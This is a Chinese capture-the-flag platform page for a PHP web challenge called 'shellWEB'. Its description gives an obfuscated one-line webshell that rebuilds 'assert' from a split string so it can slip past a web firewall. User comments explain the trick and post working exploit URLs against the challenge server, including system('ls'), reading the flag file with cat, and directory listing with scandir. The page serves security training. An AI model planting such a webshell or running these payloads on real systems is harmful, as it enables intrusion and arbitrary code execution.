shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一  血: dotast
一血奖励: 1金币
解  决: 9172
提  示:
描  述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
评论
LakeFlasher 17天前

该函数在旧版本 PHP 中会把传入字符串当作代码执行.http://160.202.254.160:12168/?s=system(‘ls’).http://160.202.254.160:12168/?s=system(‘cat flaga15808abee46a1d5.txt’)

回复 0

17199913044 18天前

http://160.202.254.160:15613/?s=system('cat+fl*')

回复 0

wangsir 1月前

得到assert($_GET['s']),对s赋值找到flag文件

回复 0

聪仔草莓51 2月前

源码将字符串 a#s#s#e#r#t 按分隔符拆分后重新拼接成函数名 assert,并调用 assert(传入参数)。该函数在旧版本 PHP 中会把传入字符串当作代码执行,因此构造参数即可执行任意 PHP 代码。 利用方式:传入列目录的参数找到 flag 文件名,再传入读取文件的参数获取内容,即可得到本题答案。

回复 0

西红柿dun牛腩 3月前

这道题目,需要一点基础知识,还需要一些脑洞,初学者不容易想到。很好的学习素材

回复 1

yiqie 3月前

flag{**********}

回复 0

icyskin 3月前

http://160.202.254.160:19320/?s=system(%27cat%20flaga15808abee46a1d5.txt%27)

回复 0

ggsea 3月前

列出当前目录:?s=print_r(scandir('./')),看到flag.txt

回复 0

lawrencekz 5月前

flag{******}

回复 0

hwx 5月前

直接先?s=system('ls'),就看到啦flg的文档再?s=system('cat flg的文档'),就看到flg

回复 3

WriteUp

image
harry

3 金币

评分(11)

解题动态

伴你则平 攻破了该题 10小时前
zxs1 攻破了该题 12小时前
hhHHHH6_ 攻破了该题 17小时前
qinshengjie 攻破了该题 1天前
longwolf0078 攻破了该题 1天前
qi1102 攻破了该题 1天前
Minotaur 攻破了该题 1天前
yiuyui 攻破了该题 1天前
FSICyan 攻破了该题 1天前
EvinZe 攻破了该题 1天前
icu 攻破了该题 1天前
Icerain666 攻破了该题 1天前
jiuxian112 攻破了该题 1天前
Devil-EV 攻破了该题 2天前
憧憬 攻破了该题 2天前
moque 攻破了该题 2天前
adnanrainbow 攻破了该题 2天前
xiaoleng215 攻破了该题 2天前
Nikkii 攻破了该题 2天前
3604467336 攻破了该题 2天前
问题反馈